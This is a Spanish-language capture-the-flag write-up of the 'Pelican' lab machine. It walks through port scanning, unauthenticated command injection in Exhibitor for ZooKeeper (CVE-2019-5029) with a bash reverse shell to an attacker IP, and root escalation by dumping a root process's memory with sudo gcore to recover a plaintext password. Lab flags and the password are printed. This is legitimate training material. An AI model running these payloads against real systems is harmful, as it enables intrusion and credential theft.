Pelican
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR.Pelicanes una cajaLinuxcon mucha superficie. La pieza clave es unExhibitor(supervisor web deZooKeeper) en el 8080, al que redirige elnginxdel 8081.Exhibitorno tiene autenticación y su campo de configuraciónjava.env scriptse ejecuta como parte del arranque: CVE-2019-5029 convierte eso en inyección de comandos. Escribimos una reverse shell en ese campo, pulsamos Commit y caemos comocharles. Para root,charlespuede ejecutargcoreconsudosin contraseña; volcamos la memoria del procesopassword-storeque corre comoroot(volcado de memoria con gcore) ystringsrevela la contraseña derooten claro.
Reconocimiento
Escaneo inicial
ping -c 1 192.168.175.9864 bytes from 192.168.175.98: icmp_seq=1 ttl=61 time=30.0 msTTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido UDP solo deja un 5353/udp (mDNS), así que el peso recae en el TCP, que devuelve una lista larga:
nmap -sU --min-rate 5000 -Pn -n --open --top-ports 1000 192.168.175.98
nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.175.98PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open netbios-ssn
631/tcp open ipp
2181/tcp open zookeeper
2222/tcp open ssh
8080/tcp open http
8081/tcp open http
46295/tcp open java-rminmap -p22,139,445,631,2181,2222,8080,8081,46295 -sCV 192.168.175.98PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp open ipp CUPS 2.2
2181/tcp open zookeeper Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8080/tcp open http Jetty 1.0
8081/tcp open http nginx 1.14.2
46295/tcp open java-rmi Java RMIHay mucho ruido (Samba, CUPS, dos SSH, Java RMI), pero tres puertos cuentan la misma historia: 2181 es ZooKeeper (un coordinador distribuido), 8080 es un Jetty y 8081 es un nginx que, al visitarlo, redirige a http://192.168.175.98:8080/exhibitor/v1/ui/index.html. Exhibitor es la interfaz web que supervisa ZooKeeper: ese trío (ZooKeeper + Jetty + Exhibitor) es la superficie real.
HTTP - TCP 8080: Exhibitor para ZooKeeper
La redirección lleva a la consola de Exhibitor 1.0. La pestaña Config muestra los parámetros de arranque de ZooKeeper y, lo importante, deja editarlos sin pedir credenciales:

Entre los campos editables está java.env script, que Exhibitor vuelca a un fichero java.env y ejecuta al (re)arrancar el supervisor. Una interfaz sin autenticación que escribe y ejecuta un script es justo lo que hay que mirar.
Explotación
CVE-2019-5029: inyección de comandos en Exhibitor
La falta de autenticación combinada con ese campo ejecutable es CVE-2019-5029: una inyección de comandos sin autenticar que lleva a RCE. El aviso público (exploit-db 48654) describe el procedimiento exacto: en el campo java.env script, cualquier comando rodeado de $() o comillas invertidas se ejecuta al hacer Commit.

Ponemos el conmutador Editing en ON, escribimos una reverse shell en java.env script y pulsamos Commit:
Antes de disparar la shell, dejamos un nc a la escucha:
nc -nlvp 4444$(/bin/sh -i >& /dev/tcp/192.168.45.239/4444 0>&1)
Config (Editing: ON) [ Commit... ]
Paths
ZooKeeper Install Dir: /opt/zookeeper
ZooKeeper Snapshot Dir: /zookeeper/data
Ensemble
Servers: 1:pelican
Additional Config: syncLimit=5
tickTime=2000
initLimit=10
java.env script: $(/bin/sh -i >& /dev/tcp/192.168.45.239/4444 0>&1)Para que el cambio se aplique hay que confirmar con Commit > All At Once > OK; Exhibitor avisa de que reiniciará la instancia, que es justo lo que dispara la ejecución:

Shell como charles
Con un listener a la espera, el reinicio ejecuta el java.env y recibimos la conexión. La estabilizamos a una pty con python3 y confirmamos el usuario:

charles@pelican:/opt/zookeeper$ id
uid=1000(charles) gid=1000(charles) groups=1000(charles)
charles@pelican:/opt/zookeeper$ cat /home/charles/local.txtcharles ya da acceso a local.txt. El siguiente objetivo es root.
Escalada de privilegios
sudo gcore: volcar la memoria de password-store
Lo primero al aterrizar es revisar sudo -l, y aquí hay un permiso muy concreto: charles puede ejecutar gcore como cualquier usuario sin contraseña. En paralelo, ps muestra un proceso de root que llama la atención:
sudo -l
ps -faux | grep -i passwordUser charles may run the following commands on pelican:
(ALL) NOPASSWD: /usr/bin/gcore
root 490 ... /usr/bin/password-storegcore (de GDB) genera un core dump (una instantánea de la memoria) de un proceso en marcha. Si lo lanzamos con sudo contra el PID del password-store de root, obtenemos un fichero con la memoria de ese proceso, y un gestor de contraseñas mantiene secretos en memoria (volcado de memoria con gcore):
sudo gcore -o passwordstore 490
strings passwordstore.490 | grep -i pass -A 2
charles@pelican:/tmp$ sudo gcore -o passwordstore 490
Saved corefile passwordstore.490
[Inferior 1 (process 490) detached]
charles@pelican:/tmp$ strings passwordstore.490 | grep -i pass -A 2
password-store
/usr/bin/password-store
...
001 Password: root:
ClogKingpinInning731Entre las cadenas del volcado aparece la contraseña de root en claro: ClogKingpinInning731.
Shell como root
Con esa contraseña, un su root cierra la caja:
su root
whoami && ip a
charles@pelican:/tmp$ su root
Password:
root@pelican:/tmp# whoami && ip a
root
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ...
inet 192.168.175.98/24 brd 192.168.175.255 scope global noprefixroute ens192Y ya como root, la prueba final:
cat /root/proof.txt && whoami && ip a && hostname
b4e8e987f1337e5d77259aa8949808c8
root
pelicanroot@pelican:/tmp# whoami
root
root@pelican:/tmp# cat /root/proof.txt
b4e8e987f1337e5d77259aa8949808c8
root@pelican:/tmp# hostname
pelicanCadena de ataque
HTTP 8081 (nginx) → redirige a 8080 /exhibitor/v1/ui/ (Exhibitor 1.0 para ZooKeeper)
└── Config sin autenticación: campo java.env script ── CVE-2019-5029
└── $(/bin/sh -i >& /dev/tcp/<atacante>/4444 0>&1) ; Commit > All At Once
└── reverse shell como charles (local.txt)
└── sudo -l: (ALL) NOPASSWD: /usr/bin/gcore
└── sudo gcore -o passwordstore 490 (proceso password-store de root)
└── strings → contraseña de root ── su root (proof.txt)Lecciones aprendidas
- Sigue las redirecciones, no solo los puertos. El
8081parecía unnginxmás; su redirección al8080/exhibitor/era la que destapaba toda la cadena. Tres servicios (ZooKeeper,Jetty,Exhibitor) contaban la misma historia. - Una consola de administración sin autenticación que ejecuta scripts es
RCE.Exhibitorescribía y ejecutabajava.env; sin login,CVE-2019-5029solo hay que rellenar un campo y pulsar Commit. gcoreconsudoes un volcado de secretos. Cualquier permiso que permita leer la memoria de un proceso ajeno (gcore,gdb,/proc/<pid>/mem) expone lo que ese proceso guarda en claro; aquí, la contraseña derootque manejaba elpassword-store.- Revisar
sudo -lsiempre es el primer paso. Un único binario permitido sin contraseña fue toda la escalada. No hizo falta ningún kernel exploit.